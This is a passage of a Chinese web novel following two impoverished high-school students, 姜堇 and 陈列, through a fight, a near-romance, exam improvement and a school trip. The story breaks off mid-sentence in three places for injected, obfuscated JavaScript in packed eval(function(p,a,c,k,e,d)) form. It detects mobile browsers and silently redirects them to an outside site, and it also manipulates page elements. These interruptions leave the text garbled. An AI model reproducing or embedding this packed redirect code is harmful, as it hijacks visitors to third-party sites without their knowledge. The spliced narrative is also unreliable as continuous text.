看到是姜堇守在柜台,愣了下,才确认这素颜无妆的年轻女孩便是拳馆里卖酒的“阿堇”。她跟姜堇并不相熟,姜堇也不是会同人主动社交的热络性子,她去柜台上拿了两盒香菇炖鸡口味的方便面,到柜台准备扫码付款时,才发现自己的微信零钱里竟是一分也不剩了。 安群涨红了脸。 来到拳馆这样地方卖酒的女孩,都有自己的不得已。 姜堇握着笔继续写自己的卷子,并没抬头看安群一眼。 姜堇从不自认善良,也不会主动去解安群的窘境。 安群看一看姜堇,最终选择了站在超市外的陈列。快步走出去,不知同陈列说了两句什么,陈列随她走进超市里来。 姜堇瞥陈列一眼。这人明明五官长得凶,沉默地走在任何人身后,却都似一尊保护神。 陈列掏出手机替安群付钱,柜台里收款机响起收到六块的提示音。 姜堇:“不够。” 陈列:“不是六块?” 姜堇:“涨价了。” 陈列垂眸看着她。 她脸上的表情很平静:“是真涨价了,一盒三块五。” 陈列又掏出手机,多扫一块钱给她。拿起两盒方便面递给安群,安群涨红着脸十分不好意思,嗫嚅着说很快把钱还给陈列。 陈列:“不用了。拿着吃吧。” 安群先一步走了,柜台里的姜堇发出一声轻笑。 陈列又去看她,发现她埋头做题拿雪白发缝对着自己,好似刚才笑的人不是她一样。 春意渐浓,唯独城中村连季节都似吝啬些。 枝头仍枯着,一条河面仍结满飘萍散发腐朽的气息,好似再不会迎来一个生命力旺盛的春天。 “大消息!”十一班女生跑回班级时兴奋得几近破音。 “是不是周维笙?”他是近期校园里的热门人物。 “是!听说他给姜堇递情书了!” “啊真的假的?!” 叶炳崐翘着凳腿从旁嗤一声:“不用说,肯定又交给老师了呗。” “这次还真没有!你们说是不是有戏?” 叶炳崐又不屑冷笑一声,把正望着窗外的陈列拉入战局:“列哥你怎么看?” 陈列面色是素来的沉冷:“不关我事。” 下了晚自习,叶炳崐非等着陈列一起走。 一出校门,陈列周身的气场一凛。 他们走得迟,校门口已冷冷清清。可陈列从小被追债人练出来的敏锐,迅速察觉到暗处藏着人。 他正想着如何先把叶炳崐支走,叶炳崐先低骂了句:“靠。” 从角落走出的四人,并非陈列所以为的追债人。 是附近职高的,一看叶炳崐这反应,就是跟人结了梁子。 叶炳崐没解释的闲工夫,将单肩包往肩上一抡猛一拉陈列:“列哥跑哇!” 两人猛跑起来。 这三人显然是四犯,专把人往没监控的暗巷里逼。 陈列边跑边问:“你他妈怎么回事?” “他们老大看上秦筱婷,秦筱婷不乐意……老子帮秦筱婷出头……他们要搞老子……” 叶炳崐跑得上气不接下气,几句话零碎不成章法地钻入陈列耳里。 陈列猛然止住脚步。 叶炳崐险些没撞他背上:“卧槽列哥你干嘛?还不赶紧撒丫子。” 陈列转过身:“你看他们那架势,跑得掉吗?” “可他们人数是我们两倍,还操了家伙……” 叶炳崐话音未落,陈列已把单肩包扔在一旁,朝巷口走去。 叶炳崐又骂一声靠:“列哥你别这么猛,真打不过……喂,你非这样的话我可先跑了啊!” 陈列充耳不闻。 叶炳崐喊话期间,第一个追赶的人已跑到陈列面前,一记勾拳过来,陈列往边上一闪,还以一记勾拳。 陈列出手的时候真的很像伏击的豹,浑身肌肉线条紧绷,眼神却冷静专注得过分,闪着曜黑的光。 叶炳崐急得跺一下脚,终是干不出抛下兄弟的缺德事,包一扔朝陈列跑过去。 一通混战,陈列一拎叶炳崐的后颈:“边上站着。” 叶炳崐:“啊?” 陈列:“别添乱。” 叶炳崐能看出今晚的陈列不一样。 他作为一个被陈列“驯服”过的人,固然知道陈列的战力有多猛。可今晚的陈列还要更沉默、更锋利、也更不计后果,似一柄匕首,扎穿周遭的空气。 起初陈列没讨到什么便宜。 可这样的对垒到后来看的是气势。陈列站在那里,一只小臂垂着,伤口溢出的血汇成细细一汩,顺着指尖躺下来。 他依然沉默,依然冷静,像默片电影里的剑客失去了自己的剑,只要他挺拔地站在那里,你依然知道他是一名剑客。 那四人终是觉得悚然,啐一口唾沫:“妈的,撤。” 叶炳崐赶紧朝陈列跑过来:“列哥不瞒你说,其实我晕血!你要不要去医院啊?” 陈列懒得理他。 陈列不觉得疼,只觉得累,径直在路沿坐了下来,昏黄的路灯遥遥,洒落过来照亮他背脊,他变成一道沉默的逆光的影子。 春夜的风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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陈列方才望着姜堇投映在墙上的影子,这时才凝眸看向姜堇:“我为什么要生气?” 又问:“你呢,你自己怎么想?” “我啊,”姜堇很浅地笑一笑:“我羡慕这信里的女孩,所以我把信留了下来。” 信里的女孩单纯、善良、被爱。 她是姜堇塑造出的壳,可她不是姜堇。 姜堇带着一种近乎缅怀的笑容,低着头,把手里那封信一点点撕成粉碎。 她单膝跪在木板上,撑开船窗,泥泞河畔边却有一束梨花开得清雅,因而显得格格不入。她细瘦的手指一扬,春夜的风便把她指间那些信的碎片搜刮走了。 姜堇望着那些碎片飘落,目光如望着一只远去的、美丽但虚妄的蝴蝶。 她扭回头来问陈列:“你不生气也不吃醋,是不是因为早知道结果是这样?” 陈列站了起来,一步步向着姜堇逼近。 姜堇仍保持着一条腿跪在陈列床上的姿势,感觉陈列欺身向她靠过来,那样的距离已突破安全与礼貌,她能闻见陈列的呼吸,很淡的烟草味。 陈列垂落的手指上有凝固的血痕,可她不发问也不评价。 她只是任凭陈列的影子把她笼罩在内,任凭陈列的气息将她包裹,任凭陈列的黑瞳掀动她睫毛如羽毛轻轻颤动。 陈列沉声问:“你知不知道你在说什么?” “知道。”姜堇小声地回答,陈列的脸近在咫尺,两人的呼吸交缠在一起。姜堇的睫毛在颤,可她的声音很平静,像在描述客观的真理、既定的事实:“我在说,你我都清楚,我们才是同类。” 陈列进一步逼近她。 她说错了。 即便陈列潜意识里清楚这一点,但陈列依然是个年轻的、冲动的、荷尔蒙旺盛的男性。他平时把这样的自己裹藏在沉冷的表面下,裹藏到连他自己都几乎忘了这一面。 他惊异地发现,这时他面对着姜堇,最直观的情绪是愤怒。 对姜堇和周维笙并肩走在校园的梧桐树下、生出的一种由衷的、本能的愤怒。 这种愤怒让他不断地逼近姜堇,姜堇阖上了眸子,鼻息里溢出茉莉般的香气,细细的一股,却铺天盖地般向陈列袭来,捆绑他的灵魂。 姜堇淡淡绯色的樱唇咫尺之遥,小巧的,微翘的。 陈列甚至无须再动作,只需低头之间。 姜堇阖着眼等了许久,直到单膝跪在陈列床上的腿有些发麻。她阖着眼轻声问:“陈列,你在等什么?” 陈列保持着那样的距离,他一开口,两人的呼吸仍交缠在一起:“春天过完,便是夏天。” “所以?” “夏天便要高考。” “那又怎样?” “高考之后的你,在哪里?”陈列问。 姜堇小小的、轻轻的叹一口气。她犹然阖着眼,问陈列:“只要这一秒的快乐,不好吗?” 陈列看她许久,呼吸在一点点发沉,终是按捺不住一般,抬起手来,指腹快要碰上她樱唇的时候,突地一转向,绕向她后颈。 指腹轻轻摩挲,直至找到她后颈那颗小小的、浅棕的痣,指腹一按。 姜堇呼吸随着她动作一顿,听他在自己耳畔道:“阿堇,回去吧,别再继续待我这里。” 29. 未来 姜堇离开后,陈列独自躺在木板上,望着船舱顶回想这一幕。 他翻了个身,变作侧躺着压住自己肘弯。指腹在墙面木板上漫无目的地摸索,直至摸到一颗小小铁钉凸起的圆头,手指停了下来,指腹来回来去地摩挲着。 他在想,他为什么会拒绝姜堇的提议呢? 一秒钟的快乐不够吗? 很多年后,当他穿着黑色笔挺的制服、作为保镖跟在姜堇身后。 姜堇穿一件露肩礼服、只在臂弯处绕一条羊绒披肩。乌浓的发盘起,刻意不戴首饰,强化她那天鹅一般的纤白颈项。 人人知道她与滕家的关系,人人巴结、处处逢迎,那是一个珠宝展示会,无数件流光溢彩的海蓝宝与祖母绿被捧至她眼前。 她浅棕色的眼底反射着那熠熠的光,却只露出一点矜贵的、若有似无的、不甚在意的笑容。 当她身边的人都退开以后。 “陈列。”她低低地唤了一声,目光垂落在宝石旁边的介绍铭牌上,上面被有心的艺术家铭刻着瓣瓣梨花,一如他们在臭水河边的春夜里所见过的那样:“你在看我吗?” 陈列盯着额她后颈那颗浅棕的小痣:“没有。” 时至那时,陈列仍在心中问自己: 曾经一秒钟的快乐,真的不够吗? - 春秋是躁郁症的高发期。 白柳絮的病情时好时坏,再又一次故意打翻护士的药盘后,被送进了特护病房。 姜堇卖酒之余,仍去做家教攒医疗费。她轻声细语且耐心,很得那男孩喜爱。 李黎抱着双臂在教室里斜眼看她:“要不是缺钱的话,马上都要高考了,还会去当家教?” “李黎你有完没完啊?”杜珉珉简直受够了:“你到底那只眼睛觉得姜堇看起来像缺钱?” 她那般矜贵且纤细,像照进人间一抹泛着雪色的月光。 杜珉珉跟李黎强调:“姜堇去当家教是为了梳理自己的知识体系!人家要申请国外大学,逻辑思维很重要的!” 姜堇作为一等一的好学生,找老师签起假条来一向很容易。 她趁着晚自习去做家教,背着书包走入小区时,碰上了陈列的舅舅。 陈列的舅舅明明二婚不久,却仍有心力在江城另安一头家。每每出差,便到这里来。 大半年过去,他情人所生的孩子长大了些,已会在地面蹒跚学步,两人像任何一对正常且恩爱的夫妻一样,张开双臂逗那孩童:“宝宝,到爸爸妈妈这里来。” 姜堇多看了一眼。 陈列舅舅朝姜堇望过来。那日偶遇不过匆匆一瞥,他已不记得姜堇长相了,只觉得这女孩清冷之下,有种说不清道不明的气质。 他情人拐他一下,用江城方言问:“看什么啊?看人家小姑娘长得漂亮啊?” 姜堇已背着书包走了。 “爸爸妈妈”——她嘲讽地勾一勾唇角。 这两种东西,陈列都没拥有过。就连一个私生子所能拥有的、表面和平的生活,陈列都没拥有过。 姜堇辅导的男孩、李黎的表弟,名叫刘子淼。 姜堇换了拖鞋进门,平时都是刘子淼的妈妈陪他上课,这天敞阔的客厅里,却坐着个陌生的中年男人,戴金丝边眼镜,气质儒雅。 见他进门,笑着同她打招呼:“小老师,你好。” 姜堇对他一点头,便进了刘子淼的房间。 刘子淼悄悄跟她咬耳朵:“我爸妈吵架了,我妈说我爸从不管家里,这个家要不是她撑着早就散了,我爸说没有她也能带好我,我妈一气之下,跟朋友一起去新疆自驾了。” “就像那部电影,《出走的决心》,对吧?”刘子淼说。 姜堇恬淡地笑一笑。 她不常跟刘子淼聊天,从她内心而言,她能让刘子淼的成绩表面好看,却不会有什么质的改变。毕竟有退路的孩子,谁肯那么拼命。 不像她自己,拼命学、拼命跑、连吃也拼命。 课讲到一半,卧室门被敲一敲尔后推开。保姆阿姨这时候已下班了,往常都是刘子淼妈妈进来送水果,这天换成了刘子淼爸爸。 他洗了冰箱里的樱桃和青提,总归不如女人仔细,水果上的水珠没用纸巾吸干,骨碌碌滚进透明的果盘里。 “小老师,请吃水果。” 姜堇眼尾瞥着他,一手摁在桌面去看刘子淼的练习册,就在她手肘咫尺之遥的位置,手腕上戴一只奢牌的矜贵腕表,袖扣反射着灯光。 姜堇没接话。直到男人走出房间去,她继续讲课。 两个小时家教课过得很快,姜堇站起来收拾书包,刘子淼端着那盘水果,又扯过一只保鲜袋:“姜老师,这些水果你带走,不然我爸又要叨念我不吃水果。” 他蜷着手指数:“我妈、我爸、连带我家阿姨,个个嘴碎。” 姜堇笑一笑,没拒绝他把水果塞进自己的书包。 姜堇背着书包跑回了河畔。 她今日比陈列下晚自习的时间还早些。陈列回来的时候,她正蹲在甲板上洗衣服。 陈列本已往自己的船舱走去,走到一半顿住脚步,蹙一下眉、对自己这么多事不满意似的,又绕回姜堇的船边来,跃上甲板。 姜堇感到陈列站在自己身后,拎着她肩膀处把她拎起来。 自己在那只浅绿的塑料小盆前蹲下来。 乍暖还寒的春日时间,用水桶打来的自来水仍有些冰冷刺骨。姜堇刚刚洗衣服时指节冻得有些发红,刚要问陈列为什么替她洗衣服,忽地想起她要来大姨妈了。 她上次痛经,便是因为冬日里洗衣服沾多了凉水。 她静静不说话了,背着手站在陈列身后。陈列的寸头理得很干净,随他蹲着伏低身的动作,后颈脊骨处凹出一道沟壑。 陈列这人做事挺糙的,毕竟他已被生活磨砺成这样。 姜堇那一盆女孩的衣服,他洗起来也糙,只是洗着洗着,手中动作一顿。 姜堇在一旁抿着唇,知道他发现了什么。 那一堆衣物里,混着姜堇的一件内衣。纯白,全棉,无钢圈。 姜堇心想,你直接把我拉起来了,我也没来得及说啊。 姜堇觉得陈列经过了一秒的思想斗争。 大约觉得此时站起来走掉的话更显尴尬,便还是若无其事地洗了下去。 姜堇心里溢出一点点好笑。 她没笑出声,但陈列也许感觉到了。陈列叫她,不带什么好气的:“帮我拿根烟。” “在哪?” “我包里。” 陈列的单肩包丢在甲板上,和姜堇的双肩书包放在一处。姜堇走过去拉开拉链,又绕回来,把什么东西递到陈列唇边。 陈列盯着盆中的衣物,没抬眸,伸嘴去接。 才发现她递来的不是一根烟,而是一颗樱桃。 陈列抬起眼皮,看姜堇蹲在他旁边,唇边缀着点得逞的笑意。 “好吃吗?” “哪来的?”陈列问。 “我辅导的小男孩给我的。” 樱桃应该是没擦干便装入了保鲜袋,由她指间递来,仍泛一点点潮气。 姜堇又掏出一颗来:“还要么?” 陈列摇头。 姜堇那样固执地扬着手,陈列还是一曲颈项,伸嘴叼走了。 又随手从边长扯一张纸,把两颗樱桃核吐进去。 姜堇不逗他了,蹲在他旁边看他洗衣服,一颗一颗从保鲜袋里摸樱桃出来吃。 抽了张纸巾垫在掌心里,一颗颗核吐出来,把纸巾染红了小小的一圈。 她身后是那株梨树,开得皎洁,似一树违逆季节的雪缠住了月光。 姜堇感到自己肩膀软软地放松着。她回想起刚刚上家教课、那中年男人走进来时她一瞬绷紧的肩。 很奇怪的,在陈列身边她从没有这样的感觉。 陈列洗着衣服开口:“叫人家小男孩。” 姜堇:“嗯?” 陈列:“你又几岁?说得自己七老八十一样。” 姜堇笑。有时她真觉得自己已经很老很老了,一颗心生出沧桑的沟壑,不再天真也不再明亮,所以对这世界处处设防。 她不那么正经地回答陈列:“你说得对,其实我是看不出年纪的老妖精。” 陈列瞥她一眼,把洗净的衣服放到另一个干净的盆里,起身倒了水,走到甲板边勾腰去拿自己的包。 路过姜堇身边时,他拉开拉链,掏出个厚厚信封丢进姜堇怀里。 姜堇打开看了眼,一沓齐整的红钞。 陈列:“给你妈住特护病房的钱。” 姜堇笑一笑:“要还么?” 陈列:“随你。” 姜堇低下头,又一下轻轻地挑唇:“傻子。” 陈列不反驳,由得她说。 只是当陈列预备跃下甲板时,被她叫住:“你等等。” 陈列停下脚步,看她朝自己走过来,两人身后是一树开得灼灼的梨花。姜堇探头拉开他单肩包的拉链,啧了声:“还真是一本课本都不带啊。” “?”陈列问:“什么意思?” “本打算帮你划个重点。”姜堇道:“你知道我以前文科很好的。” “划重点干嘛?” “下次月考时能进步二十分么?” 陈列微一蹙眉:“为什么?” 姜堇微翘着唇,已背着手往船舱里走去:“想看看你是不是真的傻子。” - 陈列陪姜堇跑了一趟医院。姜堇请他去帮白柳絮剪指甲。 “为什么?”陈列问。 “因为她挠我。”姜堇说:“她也挠护士,但她不挠你,真奇怪。” 陈列帮白柳絮剪指甲的时候,白柳絮当真一动不动。 姜堇倚在侧墙上看他俩,嘴里问陈列:“怎么样,要不要我帮你划重点?或者你自己划也行。” 陈列没抬头:“你认真的?” “为什么不认真?”姜堇声音里带着清浅的笑意:“我就想看看,你下次月考能不能进步二十分。” - 杜炳崐这天打完篮球,浑身腾腾的冒着热气,一边拎着衣领扇风一边走进教室,竟看陈列坐在座位上,面前一本摊开的历史书。 吓得他赶紧去摸陈列的额:“列哥,你发烧了?” “滚。”陈列搡开他:“洗手了么。” “如果我真看见你搞学习,”杜炳崐夸张地又去摸自己的额:“要么是你发烧了,要么是我发烧了。” “搞什么学习。”陈列合上书往桌肚里一扔。 学习这件事已离他太远太远了。如果曾经那个擅于编程的、意气风发的少年,已离他太远太远了一样。 那时他希望尚存。 可生活到了如今这地步,他还学习干嘛?得过且过而已。 姜堇又一次去给刘子淼上课时,在家陪伴的仍是他父亲。 可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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来了——姜堇几乎下意识闭了一下眼,伸手去碰书包小小的外袋,刚刚她已把水果刀藏在了这里,方便自己随时取用。 她太熟悉这样的套路。 先消弭掉两人之间的距离,年龄、身份,一切的一切,好像你跟他平起平坐似的。再接下来,他对你上下其手,自己心里的道德障碍也轻些。 姜堇脑子里一瞬想起她继父猥琐的眼神。 小超市老板伸到她肩上肥腻的手指。 在拳馆卖酒时缠上来的小混混。 明明保时捷开得平稳,她胃里却一阵翻江倒海。 只是,她手搭在书包藏了水果刀的外袋上,戒备良久,车厢里却静静的什么都没发生。 刘邺涵好似专注于开车,再没跟她说一句话了。 她报的地址是附近一小区,刘邺涵放她下车,拿一把车上某高尔夫俱乐部的黑伞借她:“路上小心。” 便开车走了。 姜堇撑着黑伞一路跑回家,胸口剧烈起伏着,直到反锁上船舱门,才呼出一口气来。 - 月考放榜。 进入高三,学校进入丧心病狂模式。每次月考,都把十一个班每人的成绩按分数排名,张贴出来。 杜珉珉拖着姜堇陪她去看榜,挽着姜堇的手臂挤在人堆里,却捂着双眼不敢去瞧:“姜堇你帮我看吧,要是退步十分以上就不用告诉我了。” “没有。”姜堇温声答:“虽然下降了两分,但前进了一名。” 杜珉珉愉快地尖叫一声:“我就说嘛!这次月考的卷子可难了。” 她睁眼一看成绩榜:“姜堇你是不是人啊!卷子难成这样你分数还涨了五分!” 姜堇扫一眼自己分数,又往榜单最末看去。 最末那一张,没有陈列的名字。 直到倒数第二张、第二张。 姜堇的视线定格了一瞬。这次月考的卷子着实难,陈列提高的那二十分,足以让他的成绩在整个年纪上升不少。 尽管这件事除了姜堇,也许没任何一个人注意到。 下了晚自习,姜堇叫陈列去给她讲题。 讲完以后,姜堇从书包里掏出一沓装订好的A4纸,推到陈列前面。 陈列瞥一眼:“这什么?” “笔记。”姜堇道:“我找文科班同学借来复印的。” 陈列蹙一蹙眉。 姜堇撑着侧颊,手里的水性笔杆一晃一晃:“下次月考能不能再进步二十分,让我看看你到底是不是傻子?” 陈列:“你到底想干嘛?” “考大学吧,陈列。”姜堇敛去那点笑意,忽而认真地说。 陈列一瞬难以抑制地露出嘲讽表情。 “我知道你爸那样的情况。”姜堇接着说:“可请你想法设法、披荆斩棘、拼了命地去做成这件事。” 陈列的眉越蹙越紧,唇角嘲讽地勾着,令他表情显得很诡异。 “有时我在想,”姜堇声音轻轻的:“你过年时打翻的那桶饺子,如果不是掉在臭水河边的泥地里,是不是就不会那样沾的满身灰了?” “也许我们被苛待、被折辱、被伤害,不过因为我们现在陷入一团泥沼里。” 她闭了闭眼。 想起那些围绕过她的男人猥琐的气息。还有她本来满心戒备的刘子淼的父亲,什么都不做的放她离去。 她睁开眼,望着陈列,一字一句地说:“也许从这泥沼里挣脱出去,我们就能拥有很好、很好的未来。” 那一瞬陈列几乎脱口而出: 那么你呢? 你在大洋彼岸,我在陌生街头。 如果我们不再相濡以沫,那还算不算是很好很好的未来? 30. 明了 这句话陈列没有对姜堇问出口。他也永远不会对姜堇问出口。 只是下一次月考的时候,他又沉默地提升了二十分。 这下连老师也注意到了,教导主任拉着十一班的班主任,把陈列喊到教室外:“我们查了考场监控,这次月考坐你旁边的,是一班一位同学。你是不是抄他卷子了?” 陈列:“是。” 教导主任:“……” 陈列:“不是有监控吗?看得一清二楚的事,问我干嘛?” 他转身走回教室去了。 周日下午,陈列蹲在甲板上洗衣服。 他不知自己在拧巴什么,姜堇在的时候,他从不在甲板洗衣服,也从不把自己的内衣内裤晾在甲板上。唯有趁姜堇去小超市上班时,他偶尔会在甲板洗衣服。 风不再料峭,开始带上些春日的和煦味道。 只是没想到,这天他还没洗完,姜堇提前下班回来了。 她轻盈地跃上甲板来,陈列又不好洗了一半撒手,蹲在塑料盆边木着脸继续洗。 姜堇:“洗衣服是什么很大的事吗?” 陈列抬头,用一种“你在讲什么”的眼神看着她。 姜堇手里握着两只蛋筒冰淇淋,空出的另只手把陈列从甲板上拉起来:“春天都来了。” 她把手里的冰淇淋塞一只给陈列:“给。” 倚住一边的船舱门,撕开蛋筒外层的纸包装。 陈列:“我不爱吃甜。” 姜堇:“这不一样。” 陈列望着她。 姜堇狡黠地眨一下眼:“这里面有跳跳糖。” 陈列看一眼纸包装,叫一个什么“红宝”之类听都没听过的牌子。他靠住另一边的船舱门,把蛋筒的包装撕了。 时近黄昏,天空呈现一种瑰丽的粉紫,河畔的梨花落了大半,像用自己的香魂催着一个旖旎春夜的到来。 如果不去看泥地里那些塑料瓶、垃圾袋和byt的话,这甚至是有些美丽的一幕。 温煦的风吹着人透着些懒意,实在舒服。姜堇一手举着蛋筒,另一手把扎了整日的马尾松开来,黑色皮筋套在细瘦的手腕上,手指在浓密的发间随意拨了拨。 风便随着她散开的长发,变成了茉莉味。 她看着陈列,弯着眼睛笑:“还好不是个傻子。” “我提升了二十分,又不是你提升了二十分。”陈列问:“你那么开心干嘛?” “我不知道。”姜堇说:“我不知道,陈列。也许我就是喜欢这一切都充满希望的样子。” 陈列扭头望着她。 她眉眼间掩藏起不为人知的、与年龄并不相符的妩媚,可她早开到凄艳的外表下,体内住着一个野蛮生长、生机勃勃的春天。 让她在泥泞里,拼了命地去挣。 陈列忽然问:“这冰淇淋多少钱?” “三块。”姜堇歪一下头:“怎么?” 陈列摇摇头。 跳跳糖随冰淇淋的奶油在唇齿间化开,跳跃着,一下一下撞着他上颚。 从他做过关于姜堇的那个梦后,他固然知道自己心里升起了一股对姜堇难以名状的情绪。 可他刻意回避着,并不去正视。 直到此刻,在一个降临的春夜前,在粉紫色的风刮荡着的甲板上,他胸中几乎有什么东西在不可阻挡地慢慢成形。 慢慢拼凑出“喜欢”二字的模样。 陈列至此终于明了,他喜欢姜堇。 他把这个念头裹藏在心里,整个胸腔都变得胀鼓鼓的。姜堇在一旁慢慢吃着冰淇淋,说:“你不仅不是个傻子,也许,还有点聪明。” 陈列从小到大听过多少人夸他聪明呢。 如同绝色之人并不在意有人夸赞自己的美貌,陈列每每听到“聪明”二字,心中是一种近乎免疫的心态。 可这时,他沉沉地笑了起来。 把剩下的一点蛋筒塞进嘴里,走过去,抬手揉了下姜堇的头。 姜堇一愣,抬眸去看他。 陈列站在船头甲板上,对着即将落下的夕阳,留给姜堇一个背影。 姜堇的肩膀又放松下来,在背后叫他:“陈列。” “嗯?”陈列没回头:“干嘛?” 姜堇不回答,只是又轻轻地叫他:“陈列。” 陈列知道她没什么事了,任凭她细而轻的声音在心中、随着春日晚风来回拂荡。 他阖了阖眼,甚至不敢回头去看,姜堇的眼神是否如他所想的一般柔软。 - 高考的日子逐渐临近,需要面临的一件大事是体检。 各班学生依次去排队,分成四列纵队,把自己的身份证交给登记老师。 姜堇排在队伍里,耳朵里塞半边耳机。杜珉珉排在她身后,时不时轻一搡她,她转回头,杜珉珉就冲她挤眉弄眼。 姜堇有些无奈地笑:“珉珉。” 杜珉珉仍旧开她玩笑:“你这样笑起来好女神哦!” 无非因为她右手边的队伍里,刚好是周维笙与她并排。 其实自从那封没有回音的情书之后,两人之间私下便断了联系。 而姜堇左手边的队伍里,与她并排的恰是陈列。 姜堇心底其实觉得这事有些荒唐。 她能注意到不少女生在偷看陈列,带着点笑意,夸赞的、倾慕的。 她也能感知到有人在看她,来自男生充满荷尔蒙的,又或者来自女生带一点羡慕或妒忌的。 明明有这么多关注的目光投射在他们身上。 其中却无任何一束,会把他俩联系在一起。 没人知道他们在春夜即将降临的黄昏、在铺满粉紫色夕阳的破船上,吃两只跳跳糖口味的蛋筒冰淇淋。 姜堇把耳机从耳朵里摘下来,她都不知自己把耳机掉在地上的动作是有心还是无意。 她蹲下身去捡。 左边一直听着叶炳崐闲扯淡的陈列,直到这时才把目光若有似无地扫过来,落在她雪白的发缝上。 姜堇若无其事地把耳机捡起来放进盒里。陈列便也收回了目光。 姜堇跟着队伍向前挪去,心里无端想起一句话来: 心脏果然是在人靠左边的位置。 - 姜堇和陈列几乎是同时排到,两位戴口罩的老师一边记录着上个登记学生的信息,一边示意他们把身份证放在扫描仪上。 姜堇从不给任何人看她的身份证,怕有心人会去查她的住址。 只是这时,陈列的眼神略略瞟过来。 她眼尾瞄了瞄陈列,发现陈列的视线落在[生日]那一栏上。 她顺便也瞄了眼陈列的身份证上,目光顿住—— 陈列的生日,就在一周以后的周日,3月28日。 那天的行程姜堇早有安排。 一中每年有帮扶郊县学校的任务。每年高考前,恰也是中考将至,学校会组织一批优秀学生前往演讲,每五人去往一个学校。 既是对学校的宣传,对即将高考的他们自己也是一种激励。 姜堇分配到的学校近山,与她同行的另四个学生里,恰有杜珉珉。 杜珉珉乐得跟什么似的:“这不跟去春游一样?” 姜堇开她玩笑:“你不会还要带一书包零食?” 杜珉珉摇手指:“零食就免了,但温泉可以泡一泡。” 五名学生由带队老师领着,周日一早启程。 上午参观学校,下午与学校选拔出的学生座谈。周一一早在类似于“国旗下讲话”的环节发言,之后便可返校。 一班的学生家境优渥,心思也活泛,大多不是死读书的那一类。 周日晚上的时间空了出来,带队老师回酒店房间休息了,杜珉珉便开始撺掇:“泡温泉去呀!” “被发现怎么办?” “不会的啦。” 有个女生忧心忡忡地问:“我们自己溜出去,会不会不安全啊?” 杜珉珉简直无语:“这是郊县,不是野山!” 其实他们提前私下通过气,都带了泳衣。毕竟他们被分配到这学校,最有名便是山野温泉,各种美容养颜之类的效果不知是不是真的,但至少舒适解乏这一点,素来声名远播。 一行五人出发。杜珉珉:“待会儿泡温泉饿了怎么办啊?” 姜堇觉得好笑。杜珉珉倒是没带一书包零食,但拉着姜堇在温泉外的小超市买零食。 当杜珉珉怀抱着饼干薯片、又在一堆各种口味的梅子前拿不定主意时。 姜堇很轻悠地在柜台前转了圈,白皙手指拿了罐啤酒,去柜台结账。 杜珉珉抱着满满一怀到柜台时,姜堇已把那一罐啤酒放进了书包里。 杜珉珉问姜堇:“你什么都不买吗?” 姜堇笑答:“不买。” 杜珉珉哗啦啦把怀里的东西放到柜台上:“你是不用买!我买太多啦,你待会儿吃我的。” 温泉地处郊县,门票不过三十块钱。姜堇没有拒绝,于她而言,这算难得参与集体活动的机会。 一行五人,两男三女,各自往男女分区走去。 杜珉珉惦记吃零食,泳衣换得飞快,很快跳进温泉池里。 另个女生走出来时,杜珉珉冲她招手:“快来快来,这池子大小正好,刚好咱们三个人泡。” 又问:“姜堇呢?” “她换泳衣呢。” 杜珉珉开句玩笑:“她不会害羞呢吧?” 在杜珉珉心里,姜堇是那种乖巧的女神,脾气温和的、善于体谅的、内敛少言的。 正当她跟另个女生聊天时,姜堇走了进来。 “哗——”杜珉珉眼睛都看直了。 姜堇并没有故作遮掩的披一条浴巾,就那样穿着泳衣,落落大方地走了进来。她的泳衣素黑,甚至不是过分保守的连体,分为上下两段,露肩,显出纤细的腰肢。 她因个子高挑,腰身格外薄,单看这身段会以为她是芭蕾舞者。视线再往上移,则发现不然,舞者应该不会拥有这般的丰腴,胸前饱满的耸起,被窄窄泳衣挤出一隙,冻牛奶一般的肤色,在黑色泳衣的映衬下更觉白皙得过分。 “姜堇,你真是……”杜珉珉简直说不出话。 若以前让她用花来比喻姜堇,她大概会说百合、或是姜兰一类。但现在,她莫名想说出“玫瑰”这样的花来。 原来姜堇是像玫瑰的。 在她清冷静定的表面下,在不为人知的角落,她早已饱含生命力地灼灼盛开。那般的绝色甚至让人担忧她下一秒就要凋零。 姜堇大方地泡进池子里来,杜珉珉终于回过神:“你什么时候跟周维笙谈恋爱?” 姜堇挑唇:“为什么要跟周维笙谈恋爱?” “不跟周维笙谈跟谁谈?” 姜堇扬着唇角不说话了。 暖暖带着硫磺气息的水蒸气,确然熏得人神经放松下来。姜堇靠在不规则圆形石块垒砌的池边,在拒绝了杜珉珉递过来的雪饼、薯片、虾条,意识到杜珉珉因没人跟她“同仇敌忾”地吃零食而快哭了时。 姜堇有些好笑地接过了她递来的梅子。 放进唇齿间,酸酸甜甜的滋味溢开来。 姜堇转了个身,趴在池边,握着手机给陈列发信息:[今晚有比赛吗?] 她和陈列的手机号,是除夕那天才交换的。 在此之前他们彼此怀抱着某种默契,都没问过对方的手机号。如果有天他们各自从飘飘荡荡的破船上离开,他们之间的牵连也如过旧的缆绳一样,轻轻一扯便断了。 现下即便交换了手机号,他们又怀着某种不被挑明的默契, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15494359|168667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并没有加彼此的微信。 姜堇以为陈列不会回复。 但五分钟后,陈列的信息回了过来:[打完了。] 姜堇:[能过来一趟吗?我给你地址。] 发完这条后,她放下手机。 又变回仰靠在池边的姿势,望着漫天繁星。 这里真好。在臭水河畔的夜空里,是没有这么多星星的。 - 陈列收到姜堇信息的时候蹙了下眉。 他从来不喜过生日。尤其经过那样一个除夕后,他更不喜过生日了。 但出于某种他自己都说不清的心态,他还是出发了。 他知道姜堇一行这周日去郊县学校演讲,姜堇发来的便是那学校附近的地址。 